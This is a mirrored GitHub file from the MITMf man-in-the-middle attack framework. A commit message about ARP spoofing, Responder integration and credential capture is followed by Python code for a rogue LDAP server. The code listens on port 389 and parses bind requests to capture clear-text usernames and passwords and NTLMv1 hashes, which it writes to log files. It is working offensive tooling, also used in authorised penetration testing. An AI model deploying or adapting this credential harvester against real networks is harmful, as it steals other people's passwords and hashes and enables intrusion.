mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-05 20:42:20 -07:00
9712eed4a3
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds. - Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all. - Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code) - The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2) - An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons: 1) Impacket is moving towards SMB2 support and is actively developed 2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file) 3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out) - Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!) - Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable. - POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use) - Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out) - Some plugins are missing because I'm currently re-writing them, will be added later - Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
121 lines
No EOL
4.6 KiB
Python
121 lines
No EOL
4.6 KiB
Python
##################################################################################
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#LDAP Stuff starts here
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##################################################################################
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class LDAPServer():
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def serve_thread_tcp(self, host, port, handler):
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try:
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server = ThreadingTCPServer((host, port), handler)
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server.serve_forever()
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except Exception, e:
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print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
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#Function name self-explanatory
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def start(self, LDAP_On_Off):
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if LDAP_On_Off == "ON":
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t = threading.Thread(name="LDAP", target=self.serve_thread_tcp, args=("0.0.0.0", 389,LDAP))
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t.setDaemon(True)
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t.start()
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if LDAP_On_Off == "OFF":
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return False
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class ThreadingTCPServer(ThreadingMixIn, TCPServer):
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allow_reuse_address = 1
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def server_bind(self):
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TCPServer.server_bind(self)
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def ParseSearch(data):
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Search1 = re.search('(objectClass)', data)
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Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
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Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
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if Search1:
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return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
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if Search2:
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return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
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if Search3:
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return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
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def ParseLDAPHash(data,client):
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SSPIStarts = data[42:]
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LMhashLen = struct.unpack('<H',data[54:56])[0]
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if LMhashLen > 10:
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LMhashOffset = struct.unpack('<H',data[58:60])[0]
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LMHash = SSPIStarts[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[64:66])[0]
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NthashOffset = struct.unpack('<H',data[66:68])[0]
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NtHash = SSPIStarts[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainLen = struct.unpack('<H',data[72:74])[0]
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DomainOffset = struct.unpack('<H',data[74:76])[0]
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Domain = SSPIStarts[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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UserLen = struct.unpack('<H',data[80:82])[0]
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UserOffset = struct.unpack('<H',data[82:84])[0]
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User = SSPIStarts[UserOffset:UserOffset+UserLen].replace('\x00','')
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writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal
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Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
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WriteData(Outfile,writehash,User+"::"+Domain)
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#print "[LDAP] NTLMv1 complete hash is :", writehash
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responder_logger.info('[LDAP] NTLMv1 complete hash is :%s'%(writehash))
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if LMhashLen <2 :
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Message = '[+]LDAP Anonymous NTLM authentication, ignoring..'
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#print Message
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responder_logger.info(Message)
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def ParseNTLM(data,client):
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Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
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Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
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if Search1:
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NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
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NTLMChall.calculate()
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return str(NTLMChall)
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if Search2:
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ParseLDAPHash(data,client)
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def ParseLDAPPacket(data,client):
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if data[1:2] == '\x84':
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PacketLen = struct.unpack('>i',data[2:6])[0]
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MessageSequence = struct.unpack('<b',data[8:9])[0]
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Operation = data[9:10]
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sasl = data[20:21]
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OperationHeadLen = struct.unpack('>i',data[11:15])[0]
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LDAPVersion = struct.unpack('<b',data[17:18])[0]
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if Operation == "\x60":
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UserDomainLen = struct.unpack('<b',data[19:20])[0]
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UserDomain = data[20:20+UserDomainLen]
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AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
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if AuthHeaderType == "\x80":
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PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
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Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
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#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
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outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
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WriteData(outfile,'[LDAP]User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
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responder_logger.info('[LDAP]User: %s Password: %s'%(UserDomain,Password))
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if sasl == "\xA3":
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buff = ParseNTLM(data,client)
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return buff
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elif Operation == "\x63":
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buff = ParseSearch(data)
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return buff
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else:
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responder_logger.info('[LDAP]Operation not supported')
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#LDAP Server Class
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class LDAP(BaseRequestHandler):
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def handle(self):
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try:
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while True:
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self.request.settimeout(0.5)
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data = self.request.recv(8092)
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buffer0 = ParseLDAPPacket(data,self.client_address[0])
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if buffer0:
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self.request.send(buffer0)
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except Exception:
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pass #No need to print timeout errors.
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##################################################################################
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#LDAP Stuff ends here
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################################################################################## |